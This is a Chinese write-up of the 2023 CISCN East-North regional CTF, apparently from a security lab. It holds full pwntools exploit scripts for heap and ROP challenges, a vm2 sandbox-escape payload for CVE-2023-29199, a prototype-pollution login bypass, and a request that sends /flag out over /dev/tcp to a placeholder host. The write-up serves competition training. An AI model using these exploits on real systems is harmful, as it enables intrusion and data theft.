ciscn国赛华东北分区赛WriteUp分享

WriteUp 9个月前 admin
305 0 0
ciscn国赛华东北分区赛WriteUp分享

国赛华东北分区赛WriteUp分享






第十六届全国大学生信息安全竞赛-创新实践能力赛(华东北赛区)于2023年6月23日至24日在合肥工业大学翡翠湖校区举行。


本次竞赛的模式为AWD plus模式。参赛选手来自华东北区(江苏,安徽,山东)经过初赛选拔获得参加分区赛资格的全日制高校在校生。


以下,为本次比赛非0解题的解题思路分享:


目录

○ PWN

    ◇ minidb

    ◇ Member Manage System

    ◇ guesssing_master

○ WEB

    ◇ tainted_node

    ◇ zero



01


PWN






01

minidb

逆向分析

惯例拖入 IDA,因为 switch 数量大于 5 所以编译器默认生成了跳表结构:


ciscn国赛华东北分区赛WriteUp分享


tab 找到对应指令,IDA 选项 Edit→Other→Specify switch idiom,根据跳表指令结构进行修复:


ciscn国赛华东北分区赛WriteUp分享


ciscn国赛华东北分区赛WriteUp分享


完成修复后就能正常 F5 了:


ciscn国赛华东北分区赛WriteUp分享


题目本体是一个简易数据库软件,提供了两层功能,第一层是对不同数据库的操作:


    • 创建新的数据库

    • 使用一个数据库

    • 查询现有数据库

    • 删除一个数据库

    • 更新单个数据库名


逆向分析可知数据库结构体如下:


struct database {    uint64_t type;    char *name;    void *items[0x100];};


第二层是对数据库的使用功能:


    • 创建一个新的键值对

    • 查询一个键对应的值

    • 更新一个键对应的值

    • 删除一个键值对


键值对结构如下:


struct db_item {    struct db_item *next;    int64_t key;    char value[0x80];};


漏洞点存在于更新键值对的值时会先获取用户输入的长度后在 item->value[input_Len] 直接写入 后再校验长度,单次最长读入 255 字节,但用户可分配的堆块的可写入长度可以为 128 或 256,因此存在一个堆上越界写 的漏洞


ciscn国赛华东北分区赛WriteUp分享


漏洞利用

利用越界写改一个数据库的 database->name 指向另一个 chunk,释放进 unsorted bin 利用 UAF read 泄露 libc 后重取释放回 tcache 后劫持 next 指针打 __free_hook:


from pwn import *context.log_level = 'debug'
# p = process('./minidb')p = remote('0.0.0.0', 9999)libc = ELF('./libc-2.31.so')
def add_kv(key:int, value:bytes): p.recvuntil(b"Your choice: ") p.sendline(b"1") p.recvuntil(b"Input the key: ") p.sendline(str(key).encode()) p.recvuntil(b"Input the value: ") p.sendline(value)
def query_kv(key:int): p.recvuntil(b"Your choice: ") p.sendline(b"2") p.recvuntil(b"Input the key: ") p.sendline(str(key).encode())
def update_kv(key:int, value:bytes): p.recvuntil(b"Your choice: ") p.sendline(b"3") p.recvuntil(b"Input the key: ") p.sendline(str(key).encode()) p.recvuntil(b"Input the new value: ") p.sendline(value)
def delete_kv(key:int): p.recvuntil(b"Your choice: ") p.sendline(b"4") p.recvuntil(b"Input the key: ") p.sendline(str(key).encode())
def exit_db(): p.recvuntil(b"Your choice: ") p.sendline(b"666")
def create_db(type:int, name:bytes): p.recvuntil(b"Your choice: ") p.sendline(b"1") p.recvuntil(b"Please input the name of database: ") p.sendline(name) p.recvuntil(b"Please input the type of database: ") p.sendline(str(type).encode())
def use_db(name:bytes): p.recvuntil(b"Your choice: ") p.sendline(b"2") p.recvuntil(b"Please input the name of database: ") p.sendline(name)
def delete_db(name:bytes): p.recvuntil(b"Your choice: ") p.sendline(b"3") p.recvuntil(b"Please input the name of database: ") p.sendline(name)
def list_db(): p.recvuntil(b"Your choice: ") p.sendline(b"4")
def update_db_name(orig_name:bytes, new_name:bytes): p.recvuntil(b"Your choice: ") p.sendline(b"5") p.recvuntil(b"Please input the name of database: ") p.sendline(orig_name) p.recvuntil(b"Please input the new name for database: ") p.sendline(new_name)
def exp(): # pre heap fengshui create_db(2, "arttnba3") use_db("arttnba3")
for i in range(3): add_kv(i, b"arttnba3")
exit_db()
create_db(2, "arttnba4") use_db("arttnba4")
exit_db()
use_db("arttnba3")
add_kv(114514, b"rat3bant") # the victim add_kv(1919810, b"arttnba3") delete_kv(1919810)
exit_db()
delete_db(b"arttnba4") create_db(2, b"arttnba3" * (0x90 // 8)) # reget 1919810
use_db("arttnba3") update_kv(2, b'A' * (0x80 + 0x10 + 8)) # db->name is 114514 now
# fullfill the tcache for i in range(7): add_kv(1919810 + i, b'arttnba3')
for i in range(7): delete_kv(1919810 + i)
# get an UAF unsorted chunk and leak libc delete_kv(114514) exit_db() list_db()
libc_leak = u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00')) main_arena = libc_leak - 96 __malloc_hook = main_arena - 0x10 libc_base = __malloc_hook - libc.sym['__malloc_hook'] log.info("Get libc addr leak: " + hex(libc_leak)) log.success("Libc base: " + hex(libc_base))
# reget the victim use_db("arttnba3")
for i in range(7): add_kv(1919810 + i, b'arttnba3')
add_kv(114514, b"rat3bant") # the victim
# free the victim and leak heap base delete_kv(1919810 + 6) delete_kv(114514)
exit_db() list_db() p.recvuntil(b'tarttnba3nt') heap_leak = u64(p.recv(6).ljust(8, b'x00')) heap_base = heap_leak - 0x1640 log.info("Get heap addr leak: " + hex(heap_leak)) log.success("Heap base: " + hex(heap_base))
# hijack the tcache list to __free_hook update_db_name(p64(heap_leak)[:6], p64(libc_base + libc.sym['__free_hook'] - 0x88) + b"arttnba3" * ((0x90 // 8) - 1))
# overwrite __free_hook by dbname create_db(2, b"arttnba4" * (0x90 // 8)) create_db(2, b"arttnba3" * ((0x90 // 8) - 1) + p64(libc_base + libc.sym['system']))
# trigger create_db(2, b"/bin/sh") delete_db(b"/bin/sh")
p.interactive()
if __name__ == '__main__': exp()


02

Member Manage System

漏洞分析

首先根据程序中的字符串可以判断出这个程序是一个基于stdio的cgi程序。


ciscn国赛华东北分区赛WriteUp分享


在DELETE函数中可以发现free之后指针没有置零,存在UAF漏洞。


ciscn国赛华东北分区赛WriteUp分享


利用分析

PUT的函数处理添加记录


ciscn国赛华东北分区赛WriteUp分享


POST的函数为更新记录


ciscn国赛华东北分区赛WriteUp分享


GET的函数为获取记录


ciscn国赛华东北分区赛WriteUp分享


同时,函数请求支持url编码


ciscn国赛华东北分区赛WriteUp分享


接着就是常规的tcache poisoning的流程。

1.申请一个大chunk,然后将其释放了,使其进入unsorted bin,然后利用UAF泄漏libc的基地址。


2.接着连续释放两个符合tcache范围的chunk,并通过UAF劫持链表指针为free hook。


3.通过申请对应大小的chunk,拿到指向free hook的指针。


4.修改free hook为system,并释放一个存/bin/shx00的chunk实现get shell。


EXP#!/usr/bin/python3# -*- encoding: utf-8 -*-
from pwn import *
context.log_level = "debug"context.terminal = ["konsole", "-e"]context.arch = "amd64"
# p = process("./cgi")p = remote("127.0.0.1", 9999)
elf = ELF("./cgi")libc = ELF("./libc-2.31.so")
http_template = "{} {} HTTP/1.1rn"http_template += "Content-Type: application/x-www-form-urlencodedrn"http_template += "rn"
def get(id): url = "/profile?id={}".format(id) p.send(http_template.format("GET", url).encode()) p.recvuntil(b"HTTP/1.1")
def post(id, name, passwd): url = "/profile?id={}".format(id) body = "name={}&password={}".format(name, passwd) p.send(http_template.format("POST", url).encode() + body.encode()) p.recvuntil(b"HTTP/1.1")
def put(id, name, passwd): url = "/profile?id={}".format(id) body = "name={}&password={}&password_length={}".format(name, passwd, len(passwd)) p.send(http_template.format("PUT", url).encode() + body.encode()) p.recvuntil(b"HTTP/1.1")
def delete(id): url = "/profile?id={}".format(id) p.send(http_template.format("DELETE", url).encode())
def bytes2urlencode(bytes_str): return "".join(["%{:02x}".format(b) for b in bytes_str])
put(0, urlencode("x01x02x03"), "B" * 0x430)put(1, urlencode("x01x02x03"), "B" * 0x10)put(2, urlencode("x01x02x03"), "B" * 0x10)put(3, urlencode("x01x02x03"), "B" * 0x10)delete(0)p.recvuntil(b"HTTP/1.1")get(0)
p.recvuntil(b"password=")libc_addr = u64(p.recvuntil(b"x7f", drop=False).ljust(8, b"x00")) - 0x1ecbe0log.success("libc_addr: 0x{:x}".format(libc_addr))
free_hook = libc_addr + libc.symbols["__free_hook"]system = libc_addr + libc.symbols["system"]binsh = libc_addr + next(libc.search(b"/bin/sh"))
delete(2)p.recvuntil(b"HTTP/1.1")post(2, bytes2urlencode(p64(free_hook)), "A" * 0x20)put(4, urlencode("/bin/shx00"), urlencode("/bin/shx00"))put(5, bytes2urlencode(p64(system)), "A" * 0x20)
delete(4)
p.interactive()


03

guesssing_master

本题属于简单的签到题,是基本栈知识点的考察


程序逻辑是猜对100个随机数就可以获得一次栈溢出的机会,以此来泄露libc并进一步编写ROP链,来获得shell


绕过随机数的方式是覆盖随机数种子,并用ctypes指定srand的种子


过了100关之后,首先通过泄露puts的地址来计算libc_base,有了libc_base之后结合附件给的libc-2.31.so,控制参数”/bin/sh”并调用system函数即可获得shell


EXPfrom pwn import *from ctypes import *
context.log_level = 'debug'#p=process('./vuln1')p=remote("127.0.0.1",9999)elf=ELF('./vuln')libc=cdll.LoadLibrary('/home/l0tus/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')libc.srand(0)
pop_rdi_ret=0x0000000000401413ret=0x000000000040101aputs_got=elf.got['puts']puts_plt=elf.plt['puts']gift=0x40123D
#gdb.attach(p)p.sendafter("Please enter your name:",b'a'*0xe+p32(0))for i in range(0,100): num=libc.rand()%100+1 p.sendafter("Guess the random number:",p64(num))
libc=ELF('/home/l0tus/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')#leak libcpayload=b'a'*0x38payload+=p64(pop_rdi_ret)payload+=p64(puts_got)payload+=p64(puts_plt)payload+=p64(gift)
p.sendafter("You are talented, here's your gift!",payload)libc_base=u64(p.recvuntil("x7f")[-6:].ljust(8,b'x00'))-libc.sym['puts']print("libc_base = ",hex(libc_base))#gdb.attach(p)#get shell roppayload=b'a'*0x38#payload+=p64(pop_rdi_ret+1)payload+=p64(ret)payload+=p64(pop_rdi_ret)payload+=p64(libc_base+next(libc.search(b'/bin/sh')))payload+=p64(libc_base+libc.sym['system'])
p.sendline(payload)
p.interactive()
'''0xe3afe execve("/bin/sh", r15, r12)constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
'''



02


WEB






01

tainted_node

原型链污染绕过登录


try {    merge(userInfo, req.body)  } catch (e) {    return res.render("login", {message: "Login Error"})  }


这里将两个对象进行了merge操作,而merge会导致原型链污染,可以污染userInfo.logined,使其为true,来绕过登录。


headers = {    "Content-Type": "application/json"}
payload = { "constructor": { "prototype": { "logined": True } }, "username": "admin", "password": "123"}
response = requests.post(url+'/login', headers=headers, data=json.dumps(payload), allow_redirects=False)


注意发送的HTTP请求中,Content-Type必须为application/json,这样才会将__proto__属性解析到原型链上,而不是一个键名为__proto__的属性。


并且这里merge对Ejs原型链污染RCE的利用链的属性做了拦截,防止在这里通过原型链污染打EJS RCE。


if (key === 'escapeFunction' || key === 'outputFunctionName') {  throw new Error("No RCE")}


VM2逃逸RCE

登录后可以访问到VM2沙箱代码执行的接口,这里打CVE-2023-29199,可以完成RCE。


这个CVE主要的利用点在于,因为vm2抛出异常时,会把主机对象泄漏到沙箱中,这里通过一系列的技巧触发主机异常并且访问主机的函数构造器,来执行任意代码。


具体可以参考https://github.com/advisories/GHSA-xj72-wvfv-8985


在vm2中执行如下代码即可完成沙箱逃逸。


aVM2_INTERNAL_TMPNAME = {};function stack() {    new Error().stack;    stack();}try {    stack();} catch (a$tmpname) {    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('cat /flag');}


02

zero

gorm 零值绕过

题目只有一个api,/api/process是选手可以使用的,先分析一下这个api


r.Group("/api", middlewave.Auth).GET("/process", api.Process)


这个 api 先有一个鉴权中间件,所以首先需要绕过鉴权


token字段存在与否的校验

token, exist := c.GetQuery("token")  if !exist {    c.AbortWithStatusJSON(401, gin.H{      "code":    401,      "message": "unauthorized",    })    return  }


token字段必须存在在query里才能过第一步校验


token值校验

if db.CheckToken(token) {    c.Next()    return}


调用了CheckToken,只有CheckToken返回true才能进入下一步处理


跟踪到db层的CheckToken


func CheckToken(token string) bool {  // return gorm.ErrRecordNotFound when token not existed.  return db.Where(&Session{Token: token}).First(&Session{}).Error == nil}


注释说明了这段代码的工作方式,由于在数据库里找不到记录就会报错,以此来检查token是否存在于数据库中


所以我们需要构造一个token参数,使得CheckToken返回true


token的值是不可预测的,可能会有选手认为没初始化随机数种子,可以预测


token的值,但是这里使用的是crypt/rand包,不需要初始化随机数种子,所以这个思路是行不通的


这里需要利用gorm的一个特性,gorm的db.First()在查找数据时,如果入参的结构体字段的值为零值,gorm会忽略这个字段


所以我们可以构造一个token值零值的token,这样gorm就会忽略token字段,从而绕过token的校验


即 http://target/api/process?token=


Slice 特性修改原数组

for _ = range time.Tick(time.Second) {  cmd := array[3]  if cmd == "" {    continue  }  go func() {    exec.Command("/bin/bash", "-c", cmd).Run()  }()  array[3] = ""}


在 api 包里,我们可以看到这段代码,每秒钟会执行一次,从array里取出第四个元素,作为命令执行


ar, ok := c.GetQueryArray("array")if !ok {    c.Status(400)    return}ar1 := array[:3]ar1 = append(ar1, ar...)c.String(200, fmt.Sprint(ar1))


好,我们看实际的业务逻辑,获取array参数,然后将array参数的值拼接到array的前三个元素后面,最后返回


然而我们需要修改array的第四个元素


这里涉及到golang的slice的特性,slice的拷贝的底层数组还是原来的底层数组,所以可以通过修改拷贝的slice来修改原来的slice


所以我们array参数的值会被作为命令执行,我们只需要将命令写入array参数即可


参考exp

flag 在 /flag


构造exp,将flag发到本地tcp监听端口


http://target/api/process?token=&array=cat%20%2Fflag%20%3E%20%2Fdev%2Ftcp%2Fxxx%2Fxx


这只是一个样例exp,更推荐弹shell




往期回顾


ciscn国赛华东北分区赛WriteUp分享

逆向工程技术-检测开源库及其功能

ciscn国赛华东北分区赛WriteUp分享

ciscn国赛华东南分区赛PWN方向WriteUp分享

ciscn国赛华东北分区赛WriteUp分享

ciscn国赛华东南分区赛WEB方向WriteUp分享


ciscn国赛华东北分区赛WriteUp分享
ciscn国赛华东北分区赛WriteUp分享

扫码关注我们


天虞实验室为赛宁网安旗下专业技术团队,重点攻关公司业务相关信息安全前沿技术。

原文始发于微信公众号(天虞实验室):ciscn国赛华东北分区赛WriteUp分享

版权声明:admin 发表于 2023年7月27日 下午6:40。
转载请注明:ciscn国赛华东北分区赛WriteUp分享 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...